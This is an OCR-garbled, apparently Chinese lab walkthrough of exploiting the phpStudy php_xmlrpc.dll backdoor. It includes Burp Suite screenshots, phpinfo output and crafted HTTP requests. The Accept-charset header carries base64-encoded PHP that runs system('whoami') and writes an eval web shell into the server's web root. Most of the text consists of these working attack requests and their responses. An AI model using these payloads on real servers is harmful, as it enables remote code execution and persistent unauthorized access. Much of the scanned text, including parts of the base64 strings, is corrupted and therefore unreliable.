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PHP Version 5.2.17 @m@

System Windows NT WIN-RRISTISNESD 6.1 build 7600

Build Date Jan 62011 17:26:08

Configure cscript /nologo configure js "—enable-snapshot-build” "—enable-debug-pack™ "—with-
Command snapshottemplate=d\php-sdkisnap_5_2WwcBx86\template” "—with-php-build=d:\php-

sdkisnap_5_2wcBw86\php_build™ "—with-pdo-oci=D:\php-sdk\oraclelinstantclient10

‘sdk,shared” "—with-oci8=D:\php-sdkloraclelinstantclient1 s dk, shared™ "—without-

pi3web”
Server APl Apache 2.4 Handler - Apache Lounge
Virtual Directory enabled

Support

Configuration File |C\Windows
{php.ini) Path

Loaded CphpStudy\PHPTutorial\php\php-5.2.17\php.ini
Configuration File

Scan this dir for (none)
additional .ini files

additional .ini files |(none)
parsed

PHP API 20041225
PHP Extension 20060613
Zend Extension 220060519
_ | Debmna Build no
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# phpStudy2016#42
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

# phpStudy2018#%4%
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

{5 IR EARITIF php_xmlrpc.dll H#H & @eval 1Y, R @eval (%s(%s’) FHE, MIEBIKREE.
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ae=" strlng name=" version’
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optional="ves >method Ver51un<fvalue><value type=" string’ name— author optional=" yes >meth
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Burp Project |Intruder Repeater Window Help Burp Suite 02 - Ter - X
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options ShiraScan FastlsonScan
Site map Scope Issue definitions
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http://192.168.126.129 GET / 200 14912 HTML @ phpStudy Backdoor Remote Code Execution Scanner [2]
http://102.168.126.120  GET /phpinfo.php 200 58206 HTML O EERENEEETE
hitps//192.168.126.129  GET /DTD/xhtml1 -transitional.... O FNTHEER
http://192,168.126.129  GET /lphp O EFEEHEIER 2]
http://192.168.126.12  GET /lphp?act=Function v O RRPEIETE
e Tt
http://192.168.126.120  GET /.php?act=phpinfo v O REEEFHHEOHTML
httpy//192.168.126.120  GET /phpinfo.php?=PHPESES.. i ARAMIAA (RETFHOEIRES) (2)
m = ®m |=— Advisory
Request Response =
m Hex \n = F‘relty Raw Hex Render \n = z .
7] phpStudy Backdoor Remote Code Execution
L BET / HEITP/L.1 L HITP/L.1 200 0E ]
2 Host: 192.168.126.129 2 Date: Thu, 22 Jul 2021 06:50:11 eI q
3 User-Agent: Neszilla/5. 0 (Windews NT 3 Server: Apache/2 4.23 (Rin32) openssL/1.0.2j FE |
10.0; Winb4; =64; rv:90 0 £ E-Powered-By: PEP/5.2.17 = Issue: phpStudy Backdoor Remote Code Execution Scanner
Gecko/20100101 Firefex/90.0 5 Comnection: clese " Severity: High
4 Accept:  Content-Type: text/htul; charset-utf-8 ’ . .
text/htul, application/shtul +xul, applica 7 Comtsnt-Lensth: 14691 Confidence: Certain
tion/sul ; a=0.9, image/webn, /4% o=0. 8 g Host: http://192.168.126.129
5 Accent-Lansuage 3
sh~CN, chia=0. 8, sh-TW: =0, 7, sh-BE: a=0. 5, 10 <!DOCTYPE htul FUBLIC "-//W2C//DTD XETHL 1.0 Tx . .
en-U8:a=0. 3, en;q=0. 2 htnl xmlns="http://ews. #2. 0re/1999/xhtul "> Note: This issue was generated by a Burp extension.
Accept-Encoding: gzip, deflate 12 <head
Comnection: close 2 ‘title i
8 Cooliie: whol ] BEER 2014 Issue detail
Hm lvt_eaailcadTdachdaddf5aliT001addsle ftitler
=1626844723 ‘meta http-equiv="X-TA-Compatible” content= 2 instances of this issue were identified, at the following locations:
% Upgrade-Insecure-Requests: 1 15 ‘meta http-equiv="Content-Type” content="te:
10 a o/
_ - - _I— . « /phpinfo.ph
@@ []> warEn  (2){0 <> EATER phpinie-Enp

2. F LK
FIBurpSuiteX4 27 I (1 808 1 K 1% Z Repeaterti BT MR, R B ESEE L W0 TR B

# R E DT RAE#E TBase64 %S, Bl
Accept-charset: c31zdGVtKCd3aG9hbWknKTs=

system('whoami');

it EEMBgzip, deflateZ FMKIZH, BMALER
Accept-Encoding: gzip,deflate

| Targethttp;//192.168.126.129 @

Request Response

Raw Hex Render ‘n =

1 HITR/1.1 200 OE

2 Date: Thu, 22 Jul 2021 07:1B:05 GNT

Server: apache/2. 4. 23 (Win32) OpensSSL/1.0.2j PEP/5. 2.17
L X-Powered-By: PHP/S. 2.17

GEE Hex ‘n =

1 GET /phpinfo. php HITE/1. 1

2 Hest: 192 168 126.129

3 User—sgent: Mozilla/5. 0 (Windows NT 10.0; WinG4; =64; rv:90.0)
Gecko/20100101 Firefox/90.0

dOLD3dSNI

4 Accept: 5 Comnection: close
text/html, application/xhtml +xml, application/xml: a=0. 9, image/webn, */%; a=0. £ Content-Type: text/html

8 Content-Length: 58209

5 Accept-Language: 8

1=Eal: M T M T Ml 5 1 VR i ol = - ol 9t9sn85d\admini strator

¢ |Accept—charset: c21zdeVtECd23aeShbWknET == system('whoami’); |DOCTYPE html PUBLIC —//W2C//DTD XETML 1.0 Transitiomal//EN” "DID/xhtmll-transitiomal. dtd”
T fAccept-Encoding: gzip, deflate html

B TTTEE ‘head:

9 Coolie: Hm lvt_eaa7cad7dachdaddf5a257001a3457c=1626844722 ‘strle type="tent/ess”’

10 Upgrade-Insecure—Requests: 1 body {

backeround-color: #ff{fff;
color: S000000;
}
14 body, td, th, hl, h? {
font-family: sans-serif;
}
pre{
margin: Opx;
font-family: monospace:
}
16 a:link {
color:=000099;
text-decoration: none;
backeround-color: =E{{{{f;
}
a:hover {
text—decoration: underline;

1
zammn (D0} [«]>][ s | eemmn

58,5155F7 | 61E%

OBERI:
Ak
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GET /phpinfo.php HTTP/1.1

Host: 192.168.126.129

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-charset: ¢31zdGVtKCd3aGOhbWknKTs=

Accept-Encoding: gzip,deflate

Connection: close

Upgrade-Insecure-Requests: 1

3. 5 AwebShell
Sshell I T & 2 H1E Wk B B 1%, 1T DL B 17181 system()dr 2 SR B2 P 3 #5145

H SN
fputs(fopen('C:\phpStudy\PHPTutorial\WWW\shell.php', 'w"'), '<?php @eval($_POST[1]); ?>');

#t Base644nigfirs :
ZnB1dHMoZm9wZW40JOM6XHBoCcFNOAWR5XFBIUFR1dGOyaWFsXFdXV1xzaGVsbC5waHANLCd3JyksJzw/cGhwIEB1dmFsKCRFUESTVFsxXSk7ID8H
Jyk7

=l - (< Targethttp//192168126120 2 (7)
a- -

Request Response
Pretty m Hex ‘“n = 08 Raw Hex Render ‘\n = =
wn
1 GET /phpinfo. php HITE/1. 1 1 HITE/1.1 200 OE o
2 Host: 192 168 126.129 2 Date: Thu, 22 Jul 2021 08:15:10 GHT q
2 User—Agent: Mozilla/5. 0 (Windews NT 10.0; Win4; =64; rv:90. 00 Cecko/20100101 2 Server: Apache/7.4.22 (Win22) OpensSsSL/1.0.2j PEP/5. 2.17 o
Firefox/90. 0 4 X-Powered-By: PHP/3. 2.17 =
4 accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/webp, #/#%; q=0.8 5 Comnection: close
5 Accept-Language: zh-CH, ch; g=0.8, ch-TW; q=0. 7, sh-HE; g=0. 5, en-US; q=0. 3, en;q=0.2 £ Content-Type: text/html
Z)Accept-charset: 7 Content-Length: 58000
ZnEBl dENoZuSwCi4o TONGEEB cFN0 dWRSXFEIUFRL deSvaiF sXiF diV]xzat Vs he SwaBanlC d3 Trks Tzw/ ot hel 8
EE1duF sECREUESTVF sxiSkTIDE +T77k T % <|DOCTYPE html PUELIC “-//W3C//DTD XETML 1.0 Tramsitional//EN" “DID/xhtmll-transitienal. dtd”
TlAccept—Encoding: gzip, deflate 10 <html
8 Comnection: close head
% Opgrade-Insecure-Requests: 1 11 style type="text/css
0 12 body {

backeground-color: =ffffff;
color:=000000;

}

body, td, th, hi, h2 {
font-family: sans-serif;

}

14 pre

margin: Op:;
font-family: monospace;

}

a:link{
color:=000099;
text-decoration: none;
backeround-color: #EEL££E;

b havert
text-decoration: underline;
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